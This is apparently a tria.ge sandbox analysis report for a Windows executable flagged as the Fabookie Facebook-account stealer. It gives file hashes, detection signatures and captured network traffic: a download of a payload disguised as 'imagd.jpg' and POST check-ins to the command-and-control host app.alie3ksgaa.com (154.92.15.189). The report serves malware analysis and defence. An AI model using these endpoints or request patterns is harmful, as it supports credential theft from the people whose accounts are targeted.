Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

34a7dbf9c9...10.exe

windows7-x64

10

34a7dbf9c9...10.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/01/2024, 03:44 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    34a7dbf9c978714dd0679079c5445a10.exe

  • Size

    396KB

  • MD5

    34a7dbf9c978714dd0679079c5445a10

  • SHA1

    476cebbf6d7a39ef3dd96e8d2d1d4684fb03faab

  • SHA256

    0c9093975346591d7fe991ed8bd448d21aaeb1d65b7c48122a19624e0775d583

  • SHA512

    9bea78ecc8ef389c3755626423cbc758357bca2345b2fc521d9113572a30c1bd84f85bf55693ba1c67ec3cac2aaef13d44641650c226629391612df27a43c1b0

  • SSDEEP

    1536:XyK9MKyCC4UuOCWqeyGaOi2K+Sm6uCWqe+aOi2K+Sm6uuCuCWqeyGaOi2K+Sm6u9:XX9MLxuBXnAYy4AZ6qevcgJFW

Score
10/10
fabookiespywarestealer

Malware Config

Signatures

  • Detect Fabookie payload 2 IoCs
  • Fabookie

    Fabookie is facebook account info stealer.

    spywarestealerfabookie
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer

Processes

  • C:\Users\Admin\AppData\Local\Temp\34a7dbf9c978714dd0679079c5445a10.exe
    "C:\Users\Admin\AppData\Local\Temp\34a7dbf9c978714dd0679079c5445a10.exe"
    1⤵
      PID:4904

    Network

    • flag-us
      DNS
      i.alie3ksgaa.com
      34a7dbf9c978714dd0679079c5445a10.exe
      Remote address:
      8.8.8.8:53
      Request
      i.alie3ksgaa.com
      IN A
      Response
      i.alie3ksgaa.com
      IN A
      154.92.15.189
    • flag-hk
      GET
      https://i.alie3ksgaa.com/sta/imagd.jpg
      34a7dbf9c978714dd0679079c5445a10.exe
      Remote address:
      154.92.15.189:443
      Request
      GET /sta/imagd.jpg HTTP/1.1
      User-Agent: HTTPREAD
      Host: i.alie3ksgaa.com
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Tue, 16 Jan 2024 03:44:13 GMT
      Content-Type: image/jpeg
      Content-Length: 1098680
      Last-Modified: Mon, 15 Jan 2024 07:47:02 GMT
      Connection: keep-alive
      ETag: "65a4e2f6-10c3b8"
      Expires: Thu, 15 Feb 2024 03:44:13 GMT
      Cache-Control: max-age=2592000
      Accept-Ranges: bytes
    • flag-us
      DNS
      158.240.127.40.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      158.240.127.40.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      56.179.17.96.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      56.179.17.96.in-addr.arpa
      IN PTR
      Response
      56.179.17.96.in-addr.arpa
      IN PTR
      a96-17-179-56deploystaticakamaitechnologiescom
    • flag-us
      DNS
      189.15.92.154.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      189.15.92.154.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      40.13.222.173.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      40.13.222.173.in-addr.arpa
      IN PTR
      Response
      40.13.222.173.in-addr.arpa
      IN PTR
      a173-222-13-40deploystaticakamaitechnologiescom
    • flag-us
      DNS
      201.179.17.96.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      201.179.17.96.in-addr.arpa
      IN PTR
      Response
      201.179.17.96.in-addr.arpa
      IN PTR
      a96-17-179-201deploystaticakamaitechnologiescom
    • flag-us
      DNS
      64.159.190.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      64.159.190.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      app.alie3ksgaa.com
      34a7dbf9c978714dd0679079c5445a10.exe
      Remote address:
      8.8.8.8:53
      Request
      app.alie3ksgaa.com
      IN A
      Response
      app.alie3ksgaa.com
      IN A
      154.92.15.189
    • flag-hk
      GET
      http://app.alie3ksgaa.com/check/safe
      34a7dbf9c978714dd0679079c5445a10.exe
      Remote address:
      154.92.15.189:80
      Request
      GET /check/safe HTTP/1.1
      Connection: Keep-Alive
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
      Host: app.alie3ksgaa.com
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Tue, 16 Jan 2024 03:44:17 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      Vary: Accept-Encoding
      X-Powered-By: PHP/7.4.33
    • flag-hk
      POST
      http://app.alie3ksgaa.com/check/?sid=69377&key=322c31440733b45acd16c0f03e5a9404
      34a7dbf9c978714dd0679079c5445a10.exe
      Remote address:
      154.92.15.189:80
      Request
      POST /check/?sid=69377&key=322c31440733b45acd16c0f03e5a9404 HTTP/1.1
      Connection: Keep-Alive
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
      Content-Length: 192
      Host: app.alie3ksgaa.com
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Tue, 16 Jan 2024 03:44:18 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      Vary: Accept-Encoding
      X-Powered-By: PHP/7.4.33
    • flag-hk
      GET
      http://app.alie3ksgaa.com/check/safe
      34a7dbf9c978714dd0679079c5445a10.exe
      Remote address:
      154.92.15.189:80
      Request
      GET /check/safe HTTP/1.1
      Connection: Keep-Alive
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
      Host: app.alie3ksgaa.com
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Tue, 16 Jan 2024 03:44:18 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      Vary: Accept-Encoding
      X-Powered-By: PHP/7.4.33
    • flag-hk
      POST
      http://app.alie3ksgaa.com/check/?sid=69380&key=8660b4a7bff1e4e57fafd5c45b54f77b
      34a7dbf9c978714dd0679079c5445a10.exe
      Remote address:
      154.92.15.189:80
      Request
      POST /check/?sid=69380&key=8660b4a7bff1e4e57fafd5c45b54f77b HTTP/1.1
      Connection: Keep-Alive
      Content-Type: application/x-www-form-urlencoded
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
      Content-Length: 192
      Host: app.alie3ksgaa.com
      Response
      HTTP/1.1 200 OK
      Server: nginx
      Date: Tue, 16 Jan 2024 03:44:18 GMT
      Content-Type: text/html; charset=UTF-8
      Transfer-Encoding: chunked
      Connection: keep-alive
      Vary: Accept-Encoding
      X-Powered-By: PHP/7.4.33
    • flag-us
      DNS
      2.136.104.51.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      2.136.104.51.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      26.165.165.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      26.165.165.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      171.39.242.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      171.39.242.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      217.135.221.88.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      217.135.221.88.in-addr.arpa
      IN PTR
      Response
      217.135.221.88.in-addr.arpa
      IN PTR
      a88-221-135-217deploystaticakamaitechnologiescom
    • flag-us
      DNS
      217.135.221.88.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      217.135.221.88.in-addr.arpa
      IN PTR
    • flag-us
      DNS
      79.121.231.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      79.121.231.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      240.221.184.93.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      240.221.184.93.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      13.227.111.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      13.227.111.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      178.223.142.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      178.223.142.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      178.223.142.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      178.223.142.52.in-addr.arpa
      IN PTR
    • flag-us
      DNS
      13.173.189.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      13.173.189.20.in-addr.arpa
      IN PTR
      Response
    • 154.92.15.189:443
      https://i.alie3ksgaa.com/sta/imagd.jpg
      tls, http
      34a7dbf9c978714dd0679079c5445a10.exe
      43.6kB
       1.1MB
       834
      831

      HTTP Request

      GET https://i.alie3ksgaa.com/sta/imagd.jpg

      HTTP Response

      200
    • 154.92.15.189:80
      http://app.alie3ksgaa.com/check/?sid=69380&key=8660b4a7bff1e4e57fafd5c45b54f77b
      http
      34a7dbf9c978714dd0679079c5445a10.exe
      2.2kB
       1.9kB
       16
      18

      HTTP Request

      GET http://app.alie3ksgaa.com/check/safe

      HTTP Response

      200

      HTTP Request

      POST http://app.alie3ksgaa.com/check/?sid=69377&key=322c31440733b45acd16c0f03e5a9404

      HTTP Response

      200

      HTTP Request

      GET http://app.alie3ksgaa.com/check/safe

      HTTP Response

      200

      HTTP Request

      POST http://app.alie3ksgaa.com/check/?sid=69380&key=8660b4a7bff1e4e57fafd5c45b54f77b

      HTTP Response

      200
    • 8.8.8.8:53
      i.alie3ksgaa.com
      dns
      34a7dbf9c978714dd0679079c5445a10.exe
      62 B
       78 B
       1
      1

      DNS Request

      i.alie3ksgaa.com

      DNS Response

      154.92.15.189

    • 8.8.8.8:53
      158.240.127.40.in-addr.arpa
      dns
      73 B
       147 B
       1
      1

      DNS Request

      158.240.127.40.in-addr.arpa

    • 8.8.8.8:53
      56.179.17.96.in-addr.arpa
      dns
      71 B
       135 B
       1
      1

      DNS Request

      56.179.17.96.in-addr.arpa

    • 8.8.8.8:53
      189.15.92.154.in-addr.arpa
      dns
      72 B
       133 B
       1
      1

      DNS Request

      189.15.92.154.in-addr.arpa

    • 8.8.8.8:53
      40.13.222.173.in-addr.arpa
      dns
      72 B
       137 B
       1
      1

      DNS Request

      40.13.222.173.in-addr.arpa

    • 8.8.8.8:53
      201.179.17.96.in-addr.arpa
      dns
      72 B
       137 B
       1
      1

      DNS Request

      201.179.17.96.in-addr.arpa

    • 8.8.8.8:53
      64.159.190.20.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      64.159.190.20.in-addr.arpa

    • 8.8.8.8:53
      app.alie3ksgaa.com
      dns
      34a7dbf9c978714dd0679079c5445a10.exe
      64 B
       80 B
       1
      1

      DNS Request

      app.alie3ksgaa.com

      DNS Response

      154.92.15.189

    • 8.8.8.8:53
      2.136.104.51.in-addr.arpa
      dns
      71 B
       157 B
       1
      1

      DNS Request

      2.136.104.51.in-addr.arpa

    • 8.8.8.8:53
      26.165.165.52.in-addr.arpa
      dns
      72 B
       146 B
       1
      1

      DNS Request

      26.165.165.52.in-addr.arpa

    • 8.8.8.8:53
      171.39.242.20.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      171.39.242.20.in-addr.arpa

    • 8.8.8.8:53
      217.135.221.88.in-addr.arpa
      dns
      146 B
       139 B
       2
      1

      DNS Request

      217.135.221.88.in-addr.arpa

      DNS Request

      217.135.221.88.in-addr.arpa

    • 8.8.8.8:53
      79.121.231.20.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      79.121.231.20.in-addr.arpa

    • 8.8.8.8:53
      240.221.184.93.in-addr.arpa
      dns
      73 B
       144 B
       1
      1

      DNS Request

      240.221.184.93.in-addr.arpa

    • 8.8.8.8:53
      13.227.111.52.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      13.227.111.52.in-addr.arpa

    • 8.8.8.8:53
      178.223.142.52.in-addr.arpa
      dns
      146 B
       147 B
       2
      1

      DNS Request

      178.223.142.52.in-addr.arpa

      DNS Request

      178.223.142.52.in-addr.arpa

    • 8.8.8.8:53
      13.173.189.20.in-addr.arpa
      dns
      72 B
       158 B
       1
      1

      DNS Request

      13.173.189.20.in-addr.arpa

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/4904-0-0x00007FF67D6D0000-0x00007FF67D736000-memory.dmp

      Filesize

      408KB

      Download

    • memory/4904-9-0x0000000003720000-0x000000000382D000-memory.dmp

      Filesize

      1.1MB

      Download

    • memory/4904-10-0x0000000003960000-0x0000000003A92000-memory.dmp

      Filesize

      1.2MB

      Download

    • memory/4904-13-0x0000000003960000-0x0000000003A92000-memory.dmp

      Filesize

      1.2MB

      Download

    We care about your privacy.

    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.